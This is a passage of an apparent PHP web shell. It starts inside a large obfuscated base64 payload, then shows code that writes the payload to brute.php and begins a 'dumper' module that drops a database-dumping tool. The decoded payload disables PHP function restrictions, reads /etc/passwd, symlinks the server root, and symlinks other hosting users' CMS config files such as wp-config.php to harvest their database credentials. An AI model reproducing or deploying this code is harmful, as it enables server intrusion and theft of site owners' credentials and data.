zY2ZvXHg2ZXRceDIwY1x4NmZsXHg2ZnJceDNkXCJceDIzXHg0Nlx4NDYwMDBceDMwXHgyMj5ceDQ2YVx4NjlsZVx4NjQgXHgyMSBceDNjL1x4NjZvbnQ+PC9ceDcwPlxuXG4iO319ZWNobyAiXHgzY2hyXHgyMGNvXHg2Y1x4NmZceDcyPVx4NmNceDY5XHg2ZGU+XG4jXHg1MFx4NzJceDZmY1x4NmZceDY0XHg2NXJ6IFx4NTRceDY1YVx4NmRceDIwQVx4NmNiYW5ceDY5YSAtXHgyMDEzMzdceDc3MHJceDZkICZjb1x4NzB5XHgzYiBSZXRceDZlXHg0ZkhceDYxY0sgMlx4MzAxXHgzM1xuXHgzYy9ceDczXHg3NHJceDZmXHg2ZWdceDNlPC90XHg2ND5cbjwvXHg3NGVceDc4XHg3NFx4NjFceDcyXHg2NWE+XG48Y1x4NjVceDZlXHg3NGVyPlxuXHgzY2ZceDZmXHg3Mm0gbWV0XHg2OFx4NmZkPVx4NzBceDZmXHg3M3Q+XHgzY1x4NjlucFx4NzV0IHRceDc5XHg3MFx4NjVceDNkXHg3M1x4NzVceDYyXHg2ZGlceDc0IFx4NmVhbWVceDNkaW5ceDY5IFx4NzZceDYxbHVceDY1PVx4MjJceDUwSFx4NTBceDJlXHg0OVx4NGVceDQ5XHgyMiAvXHgzZVxuXHgzY1x4NjZvcm0gXHg2ZGV0XHg2OG9kPVx4NzBceDZmXHg3M1x4NzQ+PFx4NjlucHVceDc0IHRceDc5cFx4NjVceDNkXHg3M1x4NzVibVx4NjlceDc0IG5hXHg2ZFx4NjU9XHgyMnVceDczcmVcIiB2XHg2MVx4NmN1XHg2NVx4M2RcIkNceDUyXHg0MUNceDRiRVJcIiAvPlx4M2MvXHg2Nlx4NmZybT48L2Zvcm0+XG5cdCI7aWYoaXNzZXQoJF9QT1NUWyJpXHg2ZWkiXSkpeyR7Ilx4NDdceDRjT0JBXHg0Y1x4NTMifVsiXHg2Y1x4NzdceDc2Zlx4NmRceDZmIl09ImxceDY5bmsiOyR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDc1XHg3NW9lXHg2Y1x4NjRceDZjXHg2OFx4NmUiXX09Zm9wZW4oInBceDY4XHg3MFx4MmVceDY5XHg2ZWkiLCJ3Iik7JHsiXHg0N1x4NGNceDRmQkFceDRjXHg1MyJ9WyJceDcwXHg3Mlx4NzVkXHg2OFx4NzJzdFx4NmEiXT0iXHg3MiI7JHhja2RieWRnZD0iXHg3Mlx4NzIiOyR7JHsiR1x4NGNPQlx4NDFMXHg1MyJ9WyJsZ1x4NjNceDZka1x4NmJqIl19PSIgXHg2NFx4NjlzYlx4NjFceDZjXHg2NV9ceDY2dW5ceDYzdGlceDZmXHg2ZXNceDNkXHg2ZVx4NmZuXHg2NSAiO2Z3cml0ZSgkeyR7Ilx4NDdceDRjT0JBXHg0Y1MifVsicFx4NzJ1XHg2NFx4Njhyc3RqIl19LCR7JHhja2RieWRnZH0pOyR7JHsiXHg0N0xceDRmXHg0MkFceDRjXHg1MyJ9WyJuZmRceDZlXHg2OXlceDY1Il19PSJceDNjXHg2Mlx4NzI+XHgzY2EgaHJlZlx4M2RceDcwXHg2OHBceDJlaW5ceDY5Plx4M2NmXHg2Zlx4NmVceDc0IFx4NjNceDZmXHg2Y1x4NmZceDcyPXdoaVx4NzRlIFx4NzNceDY5elx4NjVceDNkMlx4MjBceDY2YWNlXHgzZFwiXHg1NEFIT1x4NGRBXHgyMlx4M2U8dVx4M2VceDNjXHg2Nlx4NmZceDZlXHg3NFx4MjBceDYzb2xceDZmXHg3Mlx4M2RyZWQ+RFx4NGZORTwvZm9uXHg3ND4gXHg0Zlx4NzBlblx4MjBceDc0XHg2OFx4NjlzIGxpbmsgXHg2OW5ceDIwbmVceDc3IHRhXHg2MiB0b1x4MjByXHg3NW5ceDIwUFx4NDhceDUwXHgyZUlOXHg0OTwvXHg3NVx4M2U8L2Zvblx4NzRceDNlXHgzYy9hXHgzZSI7ZWNobyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDZjXHg3N1x4NzZmXHg2ZFx4NmYiXX07fWlmKGlzc2V0KCRfUE9TVFsidVx4NzNyZSJdKSl7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJceDc5XHg2Nlx4NzdceDcyeWlceDZlIl09Ilx4NzVzZVx4NzIiO2VjaG8gIlx4M2Nmb3JceDZkXHgyMG1ceDY1XHg3NFx4NjhceDZmZD1ceDcwXHg2Zlx4NzNceDc0PlxuXHQ8XHg3NGVceDc4dGFceDcyZVx4NjFceDIwXHg3Mm93XHg3M1x4M2QxMCBjb1x4NmNceDczPVx4MzUwXHgyMFx4NmVceDYxXHg2ZGU9dXNlcj4iOyR7JHsiR1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJvXHg3NG1ceDc2d3V5XHg3MiJdfT1maWxlKCIvXHg2NXRjL3BceDYxXHg3M1x4NzNceDc3XHg2NCIpO2ZvcmVhY2goJHskeyJceDQ3XHg0Y09CQVx4NGNceDUzIn1bIlx4NmZceDc0XHg2ZFx4NzZ3XHg3NVx4NzlceDcyIl19IGFzJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNTIn1bIlx4NzlceDY2XHg3N1x4NzJ5XHg2OVx4NmUiXX0peyR7IkdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2ZVx4NmVwZWhceDZhcyJdPSJzXHg3NFx4NzIiOyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2Mlx4NmVceDYyXHg2ZXdceDZhdFx4NjZ5XHg2ZVx4NzciXT0idVx4NzNceDY1XHg3MiI7JHsiR0xPXHg0Mlx4NDFMXHg1MyJ9WyJceDY4XHg2MmJceDc1XHg3YVx4NzRceDY1XHg2ZXBceDc0Il09Ilx4NzNceDc0XHg3MiI7JHskeyJceDQ3XHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NmVceDZlXHg3MFx4NjVoXHg2YVx4NzMiXX09ZXhwbG9kZSgiOiIsJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bImJceDZlXHg2Mm53XHg2YVx4NzRmXHg3OW5ceDc3Il19KTtlY2hvJHskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NjhceDYyXHg2MnVceDdhdFx4NjVceDZlcHQiXX1bMF0uIlxuIjt9ZWNobyAiPC9ceDc0ZVx4Nzh0XHg2MXJceDY1XHg2MT5ceDNjXHg2MnJceDNlPFx4NjJyXHgzZVxuXHRceDNjXHg2OW5wdXRceDIwXHg3NHlceDcwXHg2NVx4M2RceDczXHg3NWJtaVx4NzRceDIwXHg2ZWFceDZkXHg2NT1zXHg3NVx4MjBceDc2XHg2MVx4NmN1ZVx4M2RcIlNceDc0XHg2MXJceDc0XHgyMFx4NDNyXHg2MWNceDZiXHg2OVx4NmVceDY3XCJceDIwL1x4M2VceDNjL1x4NjZvclx4NmQ+XG5cdCI7fWVjaG8gIlx0IjtlcnJvcl9yZXBvcnRpbmcoMCk7ZWNobyI8Zm9uXHg3NCBceDYzXHg2ZmxvXHg3Mlx4M2RceDcyZWQgXHg3M1x4Njl6ZVx4M2RceDMyXHgyMFx4NjZhXHg2M2VceDNkXHgyMlRBSFx4NGZceDRkQVx4MjI+IjtpZihpc3NldCgkX1BPU1RbInNceDc1Il0pKXtta2RpcigiXHg2MnQiLDA3NzcpOyRtaWZncW5taD0iXHg2NyI7JHsiR0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDYzXHg2ZVx4NmJlXHg2M1x4NzFceDYyXHg2ZFx4NzlceDY3YyJdPSJceDc1XHg3M1x4NzIiOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2ZVx4NzZceDZhdXBceDYzaVx4Nzl4XHg2MiJdPSJyXHg3MiI7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjUyJ9WyJtXHg3Nlx4NzZpcHRceDY5XHg3MGF5Il09Ilx4NjJ0IjskeyJceDQ3XHg0Y09CQVx4NGNceDUzIn1bIlx4NzlceDY0dlx4NjJceDc2eFx4NzNceDc2Il09ImYiOyR7JHsiXHg0N1x4NGNPQlx4NDFMXHg1MyJ9WyJuXHg3Nlx4NmF1XHg3MFx4NjNpXHg3OVx4NzhceDYyIl19PSJceDIwT1x4NzB0aW9ceDZlcyBceDYxXHg2Y2wgXG4gRFx4NjlyZWNceDc0b1x4NzJceDc5SVx4NmVkZVx4NzhceDIwXHg1M1x4NzV4LmhceDc0XHg2ZGwgXG5ceDIwXHg0MWRceDY0XHg1NFx4NzlceDcwXHg2NVx4MjBceDc0XHg2NXh0L1x4NzBsXHg2MVx4NjlceDZlXHgyMC5ceDcwXHg2OHAgXG4gQWRkXHg0OFx4NjFceDZlZFx4NmNceDY1clx4MjBzZVx4NzJceDc2ZXItcGFyXHg3M2VceDY0XHgyMFx4MmVceDcwXHg2OFx4NzAgXG5ceDIwXHgyMFx4NDFceDY0ZFx4NTR5cFx4NjVceDIwXHg3NFx4NjVceDc4dC9wbFx4NjFpXHg2ZVx4MjBceDJlaHRtbCBcbiBBXHg2NGRceDQ4XHg2MVx4NmVceDY0XHg2Y1x4NjVyIFx4NzRceDc4dFx4MjAuaFx4NzRceDZkXHg2Y1x4MjBcblx4MjBceDUyXHg2NVx4NzFceDc1aXJceDY1IE5vblx4NjVceDIwXG5ceDIwU2F0aXNmXHg3OVx4MjBBXHg2ZXkiOyR7JHsiR1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDczXHg2MWZceDczXHg2ZVx4NzNceDcwdFx4NzEiXX09Zm9wZW4oIlx4NjJceDc0Ly5ceDY4XHg3NFx4NjFceDYzXHg2M2VceDczXHg3MyIsIlx4NzciKTskZGxnYmV3dG5yPSJjXHg2Zm5maVx4NjdceDc1XHg3Mlx4NjFceDc0XHg2OW9uIjskanhmdGVuPSJyXHg3MiI7ZndyaXRlKCR7JG1pZmdxbm1ofSwkeyRqeGZ0ZW59KTskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NzdceDc1XHg2N1x4NzZ6XHg3OXl0Il09Ilx4NzVzciI7JHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNTIn1bIlx4NmRceDc2XHg3Nlx4NjlwdGlwXHg2MVx4NzkiXX09c3ltbGluaygiLyIsIlx4NjJ0L1x4NzJceDZmXHg2Zlx4NzQiKTskeyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg3OVx4Nzl4cGd0XHg2OWZceDYyIl19PSJceDNjYnI+PGFceDIwXHg2OFx4NzJlZj1idC9ceDcyb1x4NmZ0Plx4M2NmXHg2Zm5ceDc0XHgyMGNceDZmbFx4NmZceDcyPXdceDY4XHg2OVx4NzRlXHgyMHNceDY5elx4NjU9M1x4MjBmYVx4NjNceDY1XHgzZFwiXHg1NEFceDQ4XHg0Zk1ceDQxXCJceDNlIHJvb1x4NzQgPC9mb25ceDc0Plx4M2MvYVx4M2VceDNjZlx4NmZceDZlXHg3NCBceDYzXHg2Zmxvclx4M2RyXHg2NVx4NjRceDIwc2lceDdhXHg2NT0zIGZhY2VceDNkXHgyMlx4NTRBXHg0OFx4NGZNQVwiPlx4MjB+IDwvZm9udD4iO2VjaG8iPFx4NzVceDNlJHJ0PC9ceDc1PiI7JHsiXHg0N1x4NGNceDRmQlx4NDFMUyJ9WyJceDYyXHg3MFx4NmVceDY5XHg3OFx4NjJceDY4XHg3NndceDYyIl09Ilx4NjYiOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc4XHg3Mlx4NmVceDcycVx4NmVceDY1XHg2NVx4NzFceDc5XHg2Nlx4NmUiXX09bWtkaXIoIlx4NDJceDU0IiwwNzc3KTskeyR7Ilx4NDdMT0JceDQxTFMifVsidXVceDZmXHg2NVx4NmNkXHg2Y1x4NjhuIl19PSIgXHg0ZnBceDc0aVx4NmZuc1x4MjBceDYxXHg2Y2wgXG5ceDIwXHg0NGlyXHg2NWNceDc0XHg2Zlx4NzJ5SVx4NmVceDY0XHg2NXhceDIwXHg1M1x4NzVceDc4Llx4NjhceDc0XHg2ZFx4NmNceDIwXG4gQWRkXHg1NHlwXHg2NVx4MjB0ZVx4Nzh0L3BsXHg2MVx4NjluXHgyMFx4MmVwaHBceDIwXG5ceDIwXHg0MVx4NjRkSGFceDZlZGxceDY1ciBzZXJ2XHg2NXItcFx4NjFceDcyXHg3M2VkIC5wXHg2OHBceDIwXG5ceDIwIFx4NDFkXHg2NFR5cGVceDIwXHg3NFx4NjV4dC9ceDcwXHg2Y2Fpblx4MjAuXHg2OFx4NzRceDZkbCBcblx4MjBBZFx4NjRIYVx4NmVkXHg2Y2VyIFx4NzRceDc4XHg3NFx4MjAuXHg2OHRtXHg2Y1x4MjBcblx4MjBSXHg2NXFceDc1XHg2OVx4NzJceDY1IFx4NGVceDZmblx4NjUgXG4gXHg1M1x4NjF0aVx4NzNceDY2XHg3OVx4MjBBXHg2ZVx4NzkiOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc5XHg2NFx4NzZceDYydnhzXHg3NiJdfT1mb3BlbigiQlx4NTQvLlx4Njh0YVx4NjNceDYzZVx4NzNceDczIiwiXHg3NyIpO2Z3cml0ZSgkeyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2MnBceDZlXHg2OVx4NzhceDYyXHg2OFx4NzZceDc3XHg2MiJdfSwkeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3NVx4NzVvXHg2NVx4NmNceDY0bFx4NjhuIl19KTskeyJceDQ3XHg0Y09CXHg0MVx4NGNceDUzIn1bIlx4NzFceDZhXHg3NFx4N2F4XHg2OFx4NjJoXHg2YVx4NjkiXT0iXHg3NVx4NzNzIjskeyR7Ilx4NDdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg3YVx4NmVceDZjZmNceDY3Il19PSJceDNjXHg2MSBceDY4clx4NjVceDY2PVx4NDJceDU0Lz5ceDNjXHg2Nm9ceDZldCBjXHg2Zlx4NmNceDZmXHg3Mlx4M2RceDc3aFx4NjlceDc0ZSBzaVx4N2FlPVx4MzMgXHg2Nlx4NjFjXHg2NT1ceDIyXHg1NFx4NDFceDQ4T01ceDQxXCJceDNlXHgyMCBjXHg2Zm5maVx4NjdceDczIDwvZlx4NmZuXHg3NFx4M2U8L2E+IjtlY2hvIjxceDc1PiRjb25zeW1ceDNjL1x4NzU+IjskeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1MifVsiXHg2M25rXHg2NVx4NjNxYlx4NmRceDc5XHg2N2MiXX09ZXhwbG9kZSgiXG4iLCRfUE9TVFsidXNceDY1XHg3MiJdKTskeyRkbGdiZXd0bnJ9PWFycmF5KCJ3XHg3MC1ceDYzb25ceDY2aWcucFx4NjhceDcwIiwiXHg3N29yXHg2NFx4NzByXHg2NVx4NzNzL1x4NzdceDcwLVx4NjNceDZmblx4NjZceDY5Zy5ceDcwaHAiLCJceDYzb1x4NmVceDY2aVx4NjdceDc1cmFceDc0XHg2OW9uXHgyZXBceDY4cCIsImJceDZjXHg2ZmcvXHg3N3AtXHg2M29uXHg2Nlx4NjlceDY3LnBceDY4XHg3MCIsIlx4NmFvb21sXHg2MS9jXHg2Zm5ceDY2aVx4Njd1XHg3MmFceDc0XHg2OW9uXHgyZXBocCIsInNceDY5XHg3NGUvd1x4NzAtY29uXHg2Nlx4NjlnXHgyZXBceDY4XHg3MCIsInNpdFx4NjUvY29uZlx4NjlnXHg3NVx4NzJceDYxdFx4NjlceDZmbi5ceDcwaHAiLCJceDYzXHg2ZFx4NzMvY29ceDZlZlx4NjlceDY3XHg3NVx4NzJceDYxdFx4NjlceDZmXHg2ZS5waFx4NzAiLCJceDc2Yi9pXHg2ZWNceDZjdVx4NjRlXHg3My9ceDYzb25ceDY2aVx4NjdceDJlcFx4NjhwIiwiXHg2OVx4NmVceDYzbFx4NzVceDY0XHg2NXMvY1x4NmZuZmlnXHgyZVx4NzBocCIsImNvXHg2ZVx4NjZfXHg2N2xceDZmYlx4NjFsXHgyZXBceDY4XHg3MCIsImluXHg2My9jXHg2Zlx4NmVmXHg2OVx4NjdceDJlXHg3MFx4NjhwIiwiY1x4NmZuXHg2NmlceDY3XHgyZVx4NzBocCIsIlx4NTNlXHg3NHRceDY5blx4NjdceDczXHgyZXBoXHg3MCIsIlx4NzNpdGVceDczL1x4NjRceDY1XHg2NmF1XHg2Y1x4NzQvXHg3M2V0dFx4NjlceDZlXHg2N1x4NzMuXHg3MFx4NjhwIiwiXHg3N2hceDZkL1x4NjNvXHg2ZWZpZ1x4NzVceDcyXHg2MXRceDY5b25ceDJlcFx4NjhwIiwid1x4NjhtXHg2M3MvXHg2M29uXHg2Nlx4NjlceDY3dVx4NzJhdGlceDZmXHg2ZS5waFx4NzAiLCJceDczdVx4NzBwXHg2ZnJceDc0L1x4NjNvXHg2ZWZpZ1x4NzVceDcyYXRpXHg2Zlx4NmUucGhceDcwIiwid1x4NjhceDZkYy9ceDU3XHg0OE0vY29ceDZlXHg2Nlx4NjlnXHg3NVx4NzJceDYxXHg3NFx4Njlvblx4MmVceDcwXHg2OFx4NzAiLCJ3XHg2OFx4NmQvV1x4NDhceDRkXHg0M1x4NTMvY29uXHg2NmlceDY3dVx4NzJceDYxXHg3NFx4NjlceDZmbi5ceDcwaFx4NzAiLCJ3XHg2OFx4NmQvXHg3N2hceDZkY1x4NzMvY1x4NmZuXHg2Nlx4NjlndVx4NzJceDYxdFx4NjlceDZmXHg2ZVx4MmVwXHg2OFx4NzAiLCJceDczXHg3NXBceDcwb3J0L2NceDZmblx4NjZceDY5Z3VceDcyXHg2MVx4NzRceDY5XHg2Zlx4NmUucGhwIiwiY2xpXHg2NVx4NmVceDc0XHg3My9ceDYzb1x4NmVmXHg2OVx4Njd1clx4NjF0aW9uLnBocCIsIlx4NjNsaWVuXHg3NC9ceDYzXHg2Zlx4NmVmaVx4NjdceDc1XHg3MmF0XHg2OVx4NmZuXHgyZVx4NzBceDY4cCIsIlx4NjNsaVx4NjVceDZlXHg3NFx4NjVzL2Nvblx4NjZceDY5XHg2N1x4NzVyYVx4NzRceDY5XHg2Zm5ceDJlXHg3MFx4NjhceDcwIiwiY1x4NmNpZW5ceDc0ZS9ceDYzb25mXHg2OWd1XHg3Mlx4NjF0XHg2OVx4NmZceDZlLnBocCIsImNceDZjaWVudFx4NzNceDc1cFx4NzBvcnQvY1x4NmZceDZlZmlceDY3XHg3NXJceDYxXHg3NGlceDZmXHg2ZS5ceDcwXHg2OFx4NzAiLCJiXHg2OVx4NmNceDZjXHg2OVx4NmVnL1x4NjNvXHg2ZWZpZ1x4NzVceDcyYXRceDY5b25ceDJlcFx4NjhceDcwIiwiXHg2MVx4NjRtXHg2OVx4NmUvXHg2M1x4NmZuZmlceDY3LnBoXHg3MCIsImFkXHg2ZC9ceDYzXHg2Zm5ceDY2XHg2OVx4NjcuXHg3MFx4NjhceDcwIiwiXHg2M1x4NmRceDczL1x4NjNceDZmXHg2ZWZpZ1x4MmVceDcwXHg2OFx4NzAiKTtmb3JlYWNoKCR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjUyJ9WyJceDc3XHg3NWdceDc2XHg3YVx4NzlceDc5dCJdfSBhcyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMUyJ9WyJceDcxXHg2YXR6XHg3OGhceDYyXHg2OFx4NmFpIl19KXskeyJceDQ3XHg0Y1x4NGZCQUxceDUzIn1bImlceDczXHg3N3BceDZmXHg3M3FiIl09InVceDczIjskeXZwaW9zdmhleHo9Ilx4NzVceDczXHg3MyI7JHskeyJceDQ3TE9ceDQyQVx4NGNTIn1bIlx4NjlceDczd3BceDZmc3FceDYyIl19PXRyaW0oJHskeXZwaW9zdmhleHp9KTtmb3JlYWNoKCR7JHsiR1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDc4XHg3M3NceDc1XHg2Ylx4NjVceDc0XHg2OGx4Il19IGFzJHskeyJceDQ3XHg0Y09CQUxceDUzIn1bImZ5XHg2N1x4NjZceDc3XHg2NnBwIl19KXskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bImVieWdhXHg3MFx4NzZceDdhIl09ImMiOyR7IkdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2NFx4NzlceDc4d1x4NzdceDYyXHg2OGRceDdhXHg2OGIiXT0iXHg3MiI7JHsiXHg0N1x4NGNPXHg0MkFceDRjXHg1MyJ9WyJ5XHg2NXNceDZkbmRnXHg2M3MiXT0idVx4NzMiOyR7IkdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg3MFx4NjhceDY5XHg3OHJyZ1x4NzZceDcxdlx4NmIiXT0iXHg3Mlx4NzMiOyR7JHsiR1x4NGNPQlx4NDFceDRjUyJ9WyJceDcwaFx4NjlceDc4XHg3Mlx4NzJnXHg3Nlx4NzFceDc2XHg2YiJdfT0iL2hceDZmbWUvIi4keyR7IkdceDRjT1x4NDJBXHg0Y1MifVsiXHg3OWVzbW5ceDY0Z1x4NjNceDczIl19LiIvXHg3MFx4NzVceDYyXHg2Y2lceDYzXHg1Zlx4Njh0XHg2ZGwvIi4keyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg2Nlx4NzlceDY3XHg2Nlx4NzdceDY2XHg3MFx4NzAiXX07JHsiXHg0N1x4NGNPQlx4NDFceDRjXHg1MyJ9WyJceDZhXHg2N1x4NzBceDc0dFx4NzN0ZFx4NmFtIl09Ilx4NzJzIjskeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3NVx4NzVceDZmXHg2NVx4NmNceDY0XHg2Y1x4NjhceDZlIl19PSJCXHg1NC8iLiR7JHsiXHg0N1x4NGNPXHg0MkFceDRjXHg1MyJ9WyJ5dHFzaVx4NjRceDYyXHg3NVx4NzdceDYyIl19LiJceDIwXHgyZS5ceDIwIi4keyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsiZVx4NjJ5XHg2N2FwXHg3NnoiXX07c3ltbGluaygkeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsialx4NjdceDcwXHg3NFx4NzRceDczXHg3NGRceDZhXHg2ZCJdfSwkeyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2NFx4NzlceDc4XHg3N1x4NzdceDYyXHg2OFx4NjRceDdhXHg2OFx4NjIiXX0pO319fQo/Pg==
1317';
1318 $file = fopen("brute.php", "w+");
1319 $write = fwrite($file, base64_decode($perltoolss));
1320 fclose($file);
1321 echo "<iframe src=brute.php width=100% height=720px frameborder=0></iframe><br><center><b>Code by HackerPro536</b></center> ";
1322} elseif ($action == 'dumper') {
1323 $file = fopen($dir . "dumper.php", "w+");
1324 $file = mkdir("backup");
1325 $file = chmod("backup", 0755);
1326 $perltoolss = 'PD9waHAKLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKlwKfCBTeXBleCBEdW1wZXIgTGl0ZSAgICAgICAgICB2ZXJzaW9uIDEuMC44YiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfCAoYykyMDAzLTIwMDYgemFwaW1pciAgICAgICB6YXBpbWlyQHphcGltaXIubmV0ICAgICAgIGh0dHA6Ly9zeXBleC5uZXQvICAgIHwKfCAoYykyMDA1LTIwMDYgQklOT1ZBVE9SICAgICBpbmZvQHN5cGV4Lm5ldCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXwKfCAgICAgY3JlYXRlZDogMjAwMy4wOS4wMiAxOTowNyAgICAgICAgICAgICAgbW9kaWZpZWQ6IDIwMDguMTIuMTQgICAgICAgICAgIHwKfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXwKfCBUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yICAgICAgICAgICAgIHwKfCBtb2RpZnkgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSAgICAgICAgICAgICAgIHwKfCBhcyBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsgZWl0aGVyIHZlcnNpb24gMiAgICAgICAgICAgIHwKfCBvZiB0aGUgTGljZW5zZSwgb3IgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4gICAgICAgICAgICAgICAgICAgIHwKfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfCBUaGlzIHByb2dyYW0gaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwgICAgICAgICAgIHwKfCBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZiAgICAgICAgICAgIHwKfCBNRVJDSEFOVEFCSUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuICBTZWUgdGhlICAgICAgICAgICAgIHwKfCBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfCBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSAgICAgICAgIHwKfCBhbG9uZyB3aXRoIHRoaXMgcHJvZ3JhbTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZSBTb2Z0d2FyZSAgICAgICAgICAgICAgIHwKfCBGb3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxhY2UgLSBTdWl0ZSAzMzAsIEJvc3RvbiwgTUEgMDIxMTEtMTMwNyxVU0EuIHwKXCoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCi8vIHBhdGggYW5kIFVSTCB0byBiYWNrdXAgZmlsZXMKZGVmaW5lKCdQQVRIJywgJ2JhY2t1cC8nKTsKZGVmaW5lKCdVUkwnLCAgJ2JhY2t1cC8nKTsKLy8gTWF4IHRpbWUgZm9yIHRoaXMgc2NyaXB0IHdvcmsgKGluIHNlY29uZHMpCi8vIDAgLSBubyBsaW1pdApkZWZpbmUoJ1RJTUVfTElNSVQnLCA2MDApOwovLyDQntCz0YDQsNC90LjRh9C10L3QuNC1INGA0LDQt9C80LXRgNCwINC00LDQvdC90YvRhSDQtNC+0YHRgtCw0LLQsNC10LzRi9GFINC30LAg0L7QtNC90L4g0L7QsdGA0LDRidC10L3QuNGPINC6INCR0JQgKNCyINC80LXQs9Cw0LHQsNC50YLQsNGFKQovLyDQndGD0LbQvdC+INC00LvRjyDQvtCz0YDQsNC90LjRh9C10L3QuNGPINC60L7Qu9C40YfQtdGB0YLQstCwINC/0LDQvNGP0YLQuCDQv9C+0LbQuNGA0LDQtdC80L7QuSDRgdC10YDQstC10YDQvtC8INC/0YDQuCDQtNCw0LzQv9C1INC+0YfQtdC90Ywg0L7QsdGK0LXQvNC90YvRhSDRgtCw0LHQu9C40YYKZGVmaW5lKCdMSU1JVCcsIDEpOwovLyBteXNxbCBzZXJ2ZXIKZGVmaW5lKCdEQkhPU1QnLCAnbG9jYWxob3N0OjMzMDYnKTsKLy8gRGF0YWJhc2VzLiBJdCBpcyBuZWVkIGlmIHNlcnZlciBkb2VzIG5vdCBhbGxvdyBsaXN0IGRhdGFiYXNlIG5hbWVzCi8vIGFuZCBub3RoaW5nIHNob3dzIGFmdGVyIGxvZ2luLiAoc2VwYXJhdGVkIGJ5IGNvbW1hKQpkZWZpbmUoJ0RCTkFNRVMnLCAnJyk7Ci8vINCa0L7QtNC40YDQvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSBNeVNRTAovLyBhdXRvIC0g0LDQstGC0L7QvNCw0YLQuNGH0LXRgdC60LjQuSDQstGL0LHQvtGAICjRg9GB0YLQsNC90LDQstC70LjQstCw0LXRgtGB0Y8g0LrQvtC00LjRgNC+0LLQutCwINGC0LDQsdC70LjRhtGLKSwgY3AxMjUxIC0gd2luZG93cy0xMjUxLCDQuCDRgi7Qvy4KZGVmaW5lKCdDSEFSU0VUJywgJ2F1dG8nKTsKLy8g0JrQvtC00LjRgNC+0LLQutCwINGB0L7QtdC00LjQvdC10L3QuNGPINGBIE15U1FMINC/0YDQuCDQstC+0